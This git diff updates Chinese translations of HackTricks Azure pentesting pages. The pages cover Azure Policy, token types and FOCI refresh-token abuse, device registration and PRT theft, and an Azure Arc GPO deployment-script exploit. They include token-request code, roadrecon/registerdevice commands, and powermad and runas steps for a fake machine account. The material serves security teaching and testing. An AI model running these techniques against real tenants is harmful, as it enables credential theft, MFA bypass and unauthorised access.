### Azure 策略 -**Azure 策略** 是帮助组织确保其资源符合特定标准和合规要求的规则。它们允许您 **强制执行或审核 Azure 中资源的设置**。例如,您可以防止在未经授权的区域创建虚拟机,或确保所有资源都有特定标签以便跟踪。 +**Azure 策略** 是帮助组织确保其资源符合特定标准和合规要求的规则。它们允许您 **强制执行或审核 Azure 中资源的设置**。例如,您可以防止在未经授权的区域创建虚拟机,或确保所有资源都有特定的标签以便跟踪。 Azure 策略是 **主动的**:它们可以阻止不合规资源的创建或更改。它们也是 **反应性的**,允许您查找并修复现有的不合规资源。 @@ -323,12 +323,12 @@ Azure 策略是 **主动的**:它们可以阻止不合规资源的创建或更 **一些示例:** -1. **确保符合特定 Azure 区域的合规性**:此策略确保所有资源在特定 Azure 区域中部署。例如,一家公司可能希望确保其所有数据存储在欧洲以符合 GDPR 合规性。 +1. **确保符合特定 Azure 区域的合规性**:此策略确保所有资源在特定 Azure 区域部署。例如,一家公司可能希望确保其所有数据存储在欧洲以符合 GDPR 合规性。 2. **强制命名标准**:策略可以强制 Azure 资源的命名约定。这有助于根据名称组织和轻松识别资源,这在大型环境中非常有用。 -3. **限制某些资源类型**:此策略可以限制某些类型资源的创建。例如,可以设置策略以防止创建某些虚拟机大小等昂贵资源类型,以控制成本。 -4. **强制标签策略**:标签是与 Azure 资源关联的键值对,用于资源管理。策略可以强制要求所有资源必须存在某些标签,或具有特定值。这对于成本跟踪、所有权或资源分类非常有用。 +3. **限制某些资源类型**:此策略可以限制某些类型资源的创建。例如,可以设置策略以防止创建某些 VM 大小等昂贵资源类型,以控制成本。 +4. **强制标签策略**:标签是与 Azure 资源关联的键值对,用于资源管理。策略可以强制所有资源必须存在某些标签,或具有特定值。这对于成本跟踪、所有权或资源分类非常有用。 5. **限制对资源的公共访问**:策略可以强制某些资源(如存储帐户或数据库)没有公共端点,确保它们仅在组织的网络内可访问。 -6. **自动应用安全设置**:策略可以用于自动将安全设置应用于资源,例如将特定网络安全组应用于所有虚拟机或确保所有存储帐户使用加密。 +6. **自动应用安全设置**:策略可以用于自动将安全设置应用于资源,例如将特定的网络安全组应用于所有 VM,或确保所有存储帐户使用加密。 请注意,Azure 策略可以附加到 Azure 层次结构的任何级别,但它们 **通常用于根管理组** 或其他管理组。 @@ -354,16 +354,16 @@ Azure 策略 JSON 示例: 在 Azure **权限可以分配给层级的任何部分**。这包括管理组、订阅、资源组和单个资源。权限由分配它们的实体的包含 **资源** 继承。 -这种层级结构允许高效和可扩展的访问权限管理。 +这种层级结构允许高效且可扩展的访问权限管理。
### Azure RBAC 与 ABAC -**RBAC**(基于角色的访问控制)是我们在前面的部分中已经看到的:**将角色分配给主体以授予其对资源的访问权限**。\ -然而,在某些情况下,您可能希望提供 **更细粒度的访问管理** 或 **简化** **数百个** 角色 **分配** 的管理。 +**RBAC**(基于角色的访问控制)是我们在前面的部分中已经看到的内容:**将角色分配给主体以授予其对资源的访问权限**。\ +然而,在某些情况下,您可能希望提供 **更细粒度的访问管理** 或 **简化** 数百个角色 **分配** 的管理。 -Azure **ABAC**(基于属性的访问控制)在 Azure RBAC 的基础上,通过在特定操作的上下文中添加 **基于属性的角色分配条件** 来构建。_角色分配条件_ 是您可以选择性地添加到角色分配中的 **额外检查**,以提供更细粒度的访问控制。条件过滤作为角色定义和角色分配一部分授予的权限。例如,您可以 **添加一个条件,要求对象具有特定标签才能读取该对象**。\ +Azure **ABAC**(基于属性的访问控制)在 Azure RBAC 的基础上,通过在特定操作的上下文中添加 **基于属性的角色分配条件** 来构建。_角色分配条件_ 是您可以选择性地添加到角色分配中的 **额外检查**,以提供更细粒度的访问控制。条件过滤掉作为角色定义和角色分配一部分授予的权限。例如,您可以 **添加一个条件,要求对象具有特定标签才能读取该对象**。\ 您 **不能** 明确 **拒绝** **对特定资源的访问** **使用条件**。 ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index c88b11faa..2d5669d4a 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -Entra ID 是微软基于云的身份和访问管理(IAM)平台,作为 Microsoft 365 和 Azure Resource Manager 等服务的基础认证和授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 认证协议,以管理对资源的访问。 +Entra ID 是微软基于云的身份和访问管理 (IAM) 平台,作为 Microsoft 365 和 Azure Resource Manager 等服务的基础认证和授权系统。Azure AD 实现了 OAuth 2.0 授权框架和 OpenID Connect (OIDC) 认证协议,以管理对资源的访问。 ### OAuth @@ -13,7 +13,7 @@ Entra ID 是微软基于云的身份和访问管理(IAM)平台,作为 Micr 1. **资源服务器 (RS):** 保护资源所有者拥有的资源。 2. **资源所有者 (RO):** 通常是拥有受保护资源的最终用户。 3. **客户端应用程序 (CA):** 代表资源所有者请求访问资源的应用程序。 -4. **授权服务器 (AS):** 在验证和授权客户端应用程序后向其发放访问令牌。 +4. **授权服务器 (AS):** 在对客户端应用程序进行身份验证和授权后,向其发放访问令牌。 **范围和同意:** @@ -34,25 +34,25 @@ Entra ID 是微软基于云的身份和访问管理(IAM)平台,作为 Micr - 拥有自己的凭据(例如,密码或证书)。 - 可以**安全地向授权服务器进行身份验证**。 2. **公共客户端:** -- 没有唯一凭据。 +- 没有唯一的凭据。 - 不能安全地向授权服务器进行身份验证。 - **安全隐患:** 攻击者可以在请求令牌时冒充公共客户端应用程序,因为授权服务器没有机制来验证应用程序的合法性。 -## Authentication Tokens +## 认证令牌 在 OIDC 中使用**三种类型的令牌**: -- [**访问令牌**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 客户端将此令牌呈现给资源服务器以**访问资源**。它只能用于特定的用户、客户端和资源组合,并且**在到期之前无法被撤销** - 默认情况下为 1 小时。 +- [**访问令牌**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 客户端将此令牌呈现给资源服务器以**访问资源**。它只能用于特定的用户、客户端和资源组合,并且**在到期之前无法撤销** - 默认情况下为 1 小时。 - **ID 令牌**:客户端从**授权服务器**接收此**令牌**。它包含有关用户的基本信息。它**绑定到特定的用户和客户端组合**。 - **刷新令牌**:与访问令牌一起提供给客户端。用于**获取新的访问和 ID 令牌**。它绑定到特定的用户和客户端组合,并且可以被撤销。默认过期时间为**90 天**(对于不活动的刷新令牌)和**活动令牌没有过期**(可以从刷新令牌获取新的刷新令牌)。 -- 刷新令牌应与**`aud`**、某些**范围**和**租户**相关联,并且只能为该 aud、范围(且不更多)和租户生成访问令牌。然而,**FOCI 应用程序令牌**并非如此。 +- 刷新令牌应与**`aud`**、某些**范围**和**租户**相关联,并且只能为该 aud、范围(且不更多)和租户生成访问令牌。然而,这在**FOCI 应用程序令牌**中并非如此。 - 刷新令牌是加密的,只有微软可以解密它。 - 获取新的刷新令牌不会撤销先前的刷新令牌。 > [!WARNING] -> **条件访问**的信息存储在**JWT**中。因此,如果您从**允许的 IP 地址**请求**令牌**,该**IP**将被**存储**在令牌中,然后您可以使用该令牌从**不允许的 IP 访问资源**。 +> **条件访问**的信息存储在**JWT**中。因此,如果您从允许的 IP 地址请求**令牌**,该**IP**将被**存储**在令牌中,然后您可以从**不允许的 IP 访问资源**使用该令牌。 -### Access Tokens "aud" +### 访问令牌 "aud" “aud”字段中指示的字段是用于执行登录的**资源服务器**(应用程序)。 @@ -65,11 +65,11 @@ Entra ID 是微软基于云的身份和访问管理(IAM)平台,作为 Micr aud 示例 -- **aad-graph (Azure Active Directory Graph API)**:用于访问已弃用的 Azure AD Graph API,允许应用程序读取和写入 Azure Active Directory (Azure AD) 中的目录数据。 +- **aad-graph (Azure Active Directory Graph API)**:用于访问遗留的 Azure AD Graph API(已弃用),允许应用程序读取和写入 Azure Active Directory (Azure AD) 中的目录数据。 - `https://graph.windows.net/` * **arm (Azure Resource Manager)**:用于通过 Azure Resource Manager API 管理 Azure 资源。这包括创建、更新和删除虚拟机、存储帐户等资源的操作。 -- `https://management.core.windows.net/ 或 https://management.azure.com/` +- `https://management.core.windows.net/ or https://management.azure.com/` - **batch (Azure Batch Services)**:用于访问 Azure Batch,这是一项服务,可有效地在云中启用大规模并行和高性能计算应用程序。 - `https://batch.core.windows.net/` @@ -88,13 +88,13 @@ Entra ID 是微软基于云的身份和访问管理(IAM)平台,作为 Micr
-### Access Tokens Scopes "scp" +### 访问令牌范围 "scp" 访问令牌的范围存储在访问令牌 JWT 内的 scp 键中。这些范围定义了访问令牌可以访问的内容。 -如果 JWT 被允许联系特定 API,但**没有范围**来执行请求的操作,则它**将无法使用该 JWT 执行该操作**。 +如果 JWT 被允许联系特定 API,但**没有范围**来执行请求的操作,则**无法使用该 JWT 执行该操作**。 -### Get refresh & access token example +### 获取刷新和访问令牌示例 ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,17 +146,17 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -之前提到,刷新令牌应该与生成时的**范围**、**应用程序**和**租户**绑定。如果任何这些边界被打破,就有可能提升权限,因为将能够生成访问令牌以访问用户有权限的其他资源和租户,并且具有比最初预期更多的范围。 +之前提到过,刷新令牌应该与生成时的**范围**、**应用程序**和**租户**绑定。如果这些边界中的任何一个被打破,就有可能提升权限,因为将能够生成对用户有访问权限的其他资源和租户的访问令牌,并且具有比最初预期更多的范围。 -此外,**这对于所有刷新令牌都是可能的**,在[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entra 账户、Microsoft 个人账户以及 Facebook 和 Google 等社交账户)中,因为正如[**文档**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)所提到的:“刷新令牌绑定于用户和客户端的组合,但**不与资源或租户绑定**。客户端可以使用刷新令牌获取**在其有权限的任何资源和租户组合**中的访问令牌。刷新令牌是加密的,只有 Microsoft identity platform 可以读取它们。” +此外,**所有刷新令牌都可以这样做**在 [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)(Microsoft Entra 账户、Microsoft 个人账户以及 Facebook 和 Google 等社交账户)中,因为正如 [**文档**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) 所提到的:“刷新令牌绑定于用户和客户端的组合,但**不与资源或租户绑定**。客户端可以使用刷新令牌获取**在其有权限的任何资源和租户组合**中的访问令牌。刷新令牌是加密的,只有 Microsoft identity platform 可以读取它们。” 此外,请注意 FOCI 应用程序是公共应用程序,因此**不需要秘密**来进行服务器身份验证。 -然后在[**原始研究**](https://github.com/secureworks/family-of-client-ids-research/tree/main)中报告的已知 FOCI 客户端可以[**在这里找到**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)。 +然后在 [**原始研究**](https://github.com/secureworks/family-of-client-ids-research/tree/main) 中报告的已知 FOCI 客户端可以在 [**这里找到**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)。 ### Get different scope -继续之前的示例代码,在此代码中请求一个不同范围的新令牌: +继续之前的示例代码,在这段代码中请求一个不同范围的新令牌: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -190,7 +189,7 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` -## 参考文献 +## 参考 - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 8cc981a73..18aeaaf39 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -8,13 +8,13 @@ 在注册设备时,**用户需要使用他的账户登录**(如有需要会要求 MFA),然后请求设备注册服务的令牌,最后询问最终确认提示。 -然后,在设备中生成两个 RSA 密钥对:**设备密钥**(**公**钥)发送到 **AzureAD**,**传输**密钥(**私**钥)如果可能则存储在 TPM 中。 +然后,在设备中生成两个 RSA 密钥对:**设备密钥**(**公**钥),该密钥发送到 **AzureAD**,以及 **传输**密钥(**私**钥),如果可能的话存储在 TPM 中。 -接着,在 **AzureAD** 中生成 **对象**(而不是在 Intune 中),AzureAD 会向设备返回一个由其签名的 **证书**。您可以检查 **设备是否已加入 AzureAD** 以及有关 **证书** 的信息(例如是否由 TPM 保护)。 +接着,在 **AzureAD** 中生成 **对象**(而不是在 Intune 中),AzureAD 会向设备返回一个由其签名的 **证书**。您可以检查 **设备是否已加入 AzureAD** 以及有关 **证书** 的信息(例如,是否由 TPM 保护)。 ```bash dsregcmd /status ``` -在设备注册后,**主刷新令牌**由LSASS CloudAP模块请求并提供给设备。与PRT一起交付的还有**会话密钥,只有设备可以解密**(使用传输密钥的公钥),并且**使用PRT是必需的。** +在设备注册后,**LSASS CloudAP**模块请求一个**主刷新令牌**并将其提供给设备。与PRT一起交付的还有**会话密钥,只有设备可以解密**(使用传输密钥的公钥),并且**使用PRT是必需的。** 有关PRT的更多信息,请查看: @@ -27,7 +27,7 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md **TPM** **保护**防止从关闭的设备中**提取**密钥(如果由PIN保护)以及从操作系统层提取私有材料。\ 但它**不保护**防止**嗅探**TPM与CPU之间的物理连接或**在系统运行时使用TPM中的加密材料**,这可能来自具有**SYSTEM**权限的进程。 -如果您查看以下页面,您将看到**窃取PRT**可以用于像**用户**一样访问,这很好,因为**PRT位于设备上**,因此可以从它们中窃取(或者如果没有被窃取,则被滥用以生成新的签名密钥): +如果您查看以下页面,您将看到**窃取PRT**可以像**用户**一样访问,这很好,因为**PRT位于设备上**,因此可以从它们中窃取(或者如果没有被窃取,则被滥用以生成新的签名密钥): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -47,17 +47,17 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -将为您提供一个**可以用于将来请求PRT的证书**。因此,保持持久性并**绕过MFA**,因为用于注册新设备的原始PRT令牌**已经获得了MFA权限**。 +将为您提供一个**可以用来请求未来PRT的证书**。因此,保持持久性并**绕过MFA**,因为用于注册新设备的原始PRT令牌**已经获得了MFA权限**。 > [!TIP] > 请注意,要执行此攻击,您需要有**注册新设备**的权限。此外,注册设备并不意味着该设备将被**允许注册到Intune**。 > [!CAUTION] -> 此攻击在2021年9月已被修复,因为您无法再使用SSO令牌注册新设备。然而,仍然可以以合法方式注册设备(如果需要,拥有用户名、密码和MFA)。请查看:[**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)。 +> 此攻击在2021年9月被修复,因为您无法再使用SSO令牌注册新设备。然而,仍然可以以合法方式注册设备(如果需要,拥有用户名、密码和MFA)。请查看:[**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)。 ## 覆盖设备票证 -可以**请求设备票证**,**覆盖**设备的当前票证,并在此过程中**窃取PRT**(因此无需从TPM中窃取它。有关更多信息,请[**查看此演讲**](https://youtu.be/BduCn8cLV1A)。 +可以**请求设备票证**,**覆盖**设备的当前票证,并在流程中**窃取PRT**(因此无需从TPM中窃取它。有关更多信息,请[**查看此演讲**](https://youtu.be/BduCn8cLV1A)。
@@ -76,7 +76,7 @@ registerdevice.py
-用户可以通过Azure AD Graph修改自己的searchableDeviceKey属性,然而,攻击者需要在租户中拥有一个设备(动态注册或从合法设备窃取证书+密钥)以及有效的AAD Graph访问令牌。 +用户可以通过Azure AD Graph修改自己的searchableDeviceKey属性,但是,攻击者需要在租户中拥有一个设备(即时注册或从合法设备窃取证书和密钥)以及AAD Graph的有效访问令牌。 然后,可以使用以下方式生成新密钥: ```bash @@ -94,7 +94,7 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## 参考 +## 参考文献 - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index fd4244ab7..e229a3543 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## 在Linux中安装PowerShell +## 在 Linux 中安装 PowerShell > [!TIP] -> 在Linux中,您需要安装PowerShell Core: +> 在 Linux 中,您需要安装 PowerShell Core: > > ```bash > sudo apt-get update @@ -18,7 +18,7 @@ > sudo apt-get update > sudo add-apt-repository universe > -> # 安装并启动powershell +> # 安装并启动 PowerShell > sudo apt-get install -y powershell > pwsh > @@ -26,11 +26,11 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## 在MacOS中安装PowerShell +## 在 MacOS 中安装 PowerShell -来自[**文档**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4)的说明: +来自 [**文档**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) 的说明: -1. 如果尚未安装,请安装`brew`: +1. 如果尚未安装,请安装 `brew`: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` @@ -38,7 +38,7 @@ ```sh brew install powershell/tap/powershell ``` -3. 运行 PowerShell: +3. 运行 PowerShell: ```sh pwsh ``` @@ -53,9 +53,9 @@ brew upgrade powershell [**Azure 命令行界面 (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) 是一个用 Python 编写的跨平台工具,用于管理和管理 (大多数) Azure 和 Entra ID 资源。它连接到 Azure 并通过命令行或脚本执行管理命令。 -请按照此链接查看 [**安装说明¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)。 +请访问此链接以获取 [**安装说明¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)。 -Azure CLI 中的命令使用以下模式结构: `az ` +Azure CLI 中的命令结构模式为: `az ` #### 调试 | MitM az cli @@ -95,7 +95,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" Azure PowerShell 是一个模块,包含用于直接从 PowerShell 命令行管理 Azure 资源的 cmdlets。 -请按照此链接查看 [**安装说明**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)。 +请访问此链接以获取 [**安装说明**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)。 Azure PowerShell AZ 模块中的命令结构如下:`-Az ` @@ -105,13 +105,13 @@ Azure PowerShell AZ 模块中的命令结构如下:`-Az -Mg ` @@ -123,9 +123,9 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Azure Active Directory (AD) 模块现在 **已弃用**,是用于管理 Azure AD 资源的 Azure PowerShell 的一部分。它提供了用于管理用户、组和 Entra ID 中的应用程序注册的 cmdlet。 +Azure Active Directory (AD) 模块,现在 **已弃用**,是 Azure PowerShell 的一部分,用于管理 Azure AD 资源。它提供了用于管理用户、组和 Entra ID 中的应用程序注册的 cmdlet。 > [!TIP] > 这被 Microsoft Graph PowerShell 替代 -请访问此链接获取 [**安装说明**](https://www.powershellgallery.com/packages/AzureAD)。 +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index c57e08ddd..4185e5477 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -12,7 +12,7 @@
-#### 工作场所加入 +#### Workplace 加入

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

@@ -20,7 +20,7 @@

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### 在 AADJ 或混合上工作场所加入 +#### 在 AADJ 或混合上加入 Workplace

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

@@ -28,7 +28,7 @@ 在 Azure AD 中,有不同类型的令牌,具有特定的限制: -- **访问令牌**:用于访问 API 和资源,如 Microsoft Graph。它们与特定客户端和资源绑定。 +- **访问令牌**:用于访问 API 和资源,如 Microsoft Graph。它们与特定的客户端和资源绑定。 - **刷新令牌**:发放给应用程序以获取新的访问令牌。它们只能由发放给它们的应用程序或一组应用程序使用。 - **主刷新令牌 (PRT)**:用于 Azure AD 加入、注册或混合加入设备的单点登录。它们可以在浏览器登录流程中使用,也可以用于在设备上登录移动和桌面应用程序。 - **Windows Hello for Business 密钥 (WHFB)**:用于无密码身份验证。用于获取主刷新令牌。 @@ -39,24 +39,24 @@ az-primary-refresh-token-prt.md {{#endref}} -### 透视技术 +### 透传技术 从 **被攻陷的机器到云**: -- [**Pass the Cookie**](az-pass-the-cookie.md):从浏览器中窃取 Azure cookie 并使用它们登录 -- [**Dump processes access tokens**](az-processes-memory-access-token.md):转储与云同步的本地进程的内存(如 excel、Teams...)并找到明文访问令牌。 +- [**Pass the Cookie**](az-pass-the-cookie.md): 从浏览器窃取 Azure cookie 并使用它们登录 +- [**Dump processes access tokens**](az-processes-memory-access-token.md): 转储与云同步的本地进程的内存(如 excel、Teams...)并找到明文访问令牌。 - [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** 钓鱼 PRT 以滥用它 -- [**Pass the PRT**](pass-the-prt.md):窃取设备 PRT 以冒充访问 Azure。 +- [**Pass the PRT**](pass-the-prt.md): 窃取设备 PRT 以冒充访问 Azure。 - [**Pass the Certificate**](az-pass-the-certificate.md)**:** 基于 PRT 生成证书以从一台机器登录到另一台机器 -从攻陷 **AD** 到攻陷 **云**,以及从攻陷 **云** 到攻陷 **AD**: +从攻陷 **AD** 到攻陷 **云**,再从攻陷 **云** 到攻陷 **AD**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **从云到本地的另一种透视方式是** [**滥用 Intune**](../az-services/intune.md) +- **从云到本地的另一种透传方式是** [**滥用 Intune**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -此工具允许执行多种操作,如在 Azure AD 中注册机器以获取 PRT,并使用 PRT(合法或被盗)以多种方式访问资源。这些不是直接攻击,但它促进了使用 PRT 以不同方式访问资源。更多信息请访问 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +该工具允许执行多种操作,如在 Azure AD 中注册机器以获取 PRT,并使用 PRT(合法或被窃取)以多种方式访问资源。这些不是直接攻击,但它促进了使用 PRT 以不同方式访问资源。更多信息请查看 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) ## 参考 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 1636874bb..e9bbda4c7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,17 +1,17 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc 漏洞 GPO 部署脚本 {{#include ../../../banners/hacktricks-training.md}} ### 识别问题 -Azure Arc 允许通过组策略对象方法将新的内部服务器(加入域的服务器)集成到 Azure Arc 中。为此,微软提供了一个部署工具包,必要用于启动入驻程序。在 ArcEnableServerGroupPolicy.zip 文件中,可以找到以下脚本:DeployGPO.ps1、EnableAzureArc.ps1 和 AzureArcDeployment.psm1。 +Azure Arc 允许通过组策略对象方法将新的内部服务器(加入域的服务器)集成到 Azure Arc 中。为此,Microsoft 提供了一个部署工具包,用于启动入驻程序。在 ArcEnableServerGroupPolicy.zip 文件中,可以找到以下脚本:DeployGPO.ps1、EnableAzureArc.ps1 和 AzureArcDeployment.psm1。 -执行时,DeployGPO.ps1 脚本执行以下操作: +执行 DeployGPO.ps1 脚本时,会执行以下操作: -1. 在本地域中创建 Azure Arc 服务器入驻 GPO。 -2. 将 EnableAzureArc.ps1 入驻脚本复制到为入驻过程创建的指定网络共享中,该共享还包含 Windows 安装包。 +1. 在本地域内创建 Azure Arc 服务器入驻 GPO。 +2. 将 EnableAzureArc.ps1 入驻脚本复制到为入驻过程创建的指定网络共享中,该共享还包含 Windows 安装程序包。 -运行此脚本时,系统管理员需要提供两个主要参数:**ServicePrincipalId** 和 **ServicePrincipalClientSecret**。此外,还需要其他参数,如域、托管共享的服务器的 FQDN 和共享名称。还必须向脚本提供租户 ID、资源组和其他必要信息等详细信息。 +运行此脚本时,系统管理员需要提供两个主要参数:**ServicePrincipalId** 和 **ServicePrincipalClientSecret**。此外,还需要其他参数,例如域、托管共享的服务器的 FQDN 和共享名称。还必须向脚本提供租户 ID、资源组和其他必要信息等详细信息。 在指定共享的 AzureArcDeploy 目录中使用 DPAPI-NG 加密生成一个加密的秘密。加密的秘密存储在名为 encryptedServicePrincipalSecret 的文件中。可以在 DeployGPO.ps1 脚本中找到证据,其中通过调用 ProtectBase64 以 $descriptor 和 $ServicePrincipalSecret 作为输入来执行加密。描述符由域计算机和域控制器组 SID 组成,确保 ServicePrincipalSecret 只能由域控制器和域计算机安全组解密,如脚本注释中所述。 ```powershell @@ -22,20 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` -### Exploit +### 利用 我们有以下条件: 1. 我们已经成功渗透了内部网络。 -2. 我们有能力在Active Directory中创建或控制计算机账户。 -3. 我们发现了一个包含AzureArcDeploy目录的网络共享。 +2. 我们有能力在 Active Directory 中创建或控制计算机帐户。 +3. 我们发现了一个包含 AzureArcDeploy 目录的网络共享。 -在AD环境中获取计算机账户有几种方法。最常见的方法之一是利用计算机账户配额。另一种方法涉及通过脆弱的ACL或各种其他错误配置来破坏计算机账户。 +在 AD 环境中获取计算机帐户有几种方法。最常见的方法之一是利用计算机帐户配额。另一种方法涉及通过易受攻击的 ACL 或各种其他错误配置来破坏计算机帐户。 ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -一旦获得机器账户,就可以使用该账户进行身份验证。我们可以使用带有 netonly 标志的 runas.exe 命令,或者使用 Rubeus.exe 进行 pass-the-ticket。 +一旦获得机器账户,就可以使用该账户进行身份验证。我们可以使用带有 netonly 标志的 runas.exe 命令,或者使用 Rubeus.exe 进行票证传递。 ```powershell runas /user:fake01$ /netonly powershell ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index b02aa928a..c9ae9ce15 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,4 +1,4 @@ -# Az - Local Cloud Credentials +# Az - 本地云凭证 {{#include ../../../banners/hacktricks-training.md}} @@ -10,8 +10,8 @@ Azure CLI 本地存储令牌和敏感数据,带来安全隐患: 1. **访问令牌**:以明文存储在 `accessTokens.json` 中,位于 `C:\Users\\.Azure`。 2. **订阅信息**:`azureProfile.json` 在同一目录中,保存订阅详细信息。 -3. **日志文件**:`.azure` 中的 `ErrorRecords` 文件夹可能包含暴露凭据的日志,例如: -- 嵌入凭据的执行命令。 +3. **日志文件**:`.azure` 中的 `ErrorRecords` 文件夹可能包含暴露凭证的日志,例如: +- 嵌入凭证的执行命令。 - 使用令牌访问的 URL,可能泄露敏感信息。 ### Azure PowerShell diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index a9fc037fa..2deac9804 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,7 +4,7 @@ ## Pass the Certificate (Azure) -在 Azure 加入的机器中,可以使用 **必须由 Azure AD CA** 为所需用户(作为主题)颁发的证书,从一台机器认证到另一台机器,当两台机器都支持 **NegoEx** 认证机制时。 +在 Azure 加入的机器中,可以使用 **必须由 Azure AD CA** 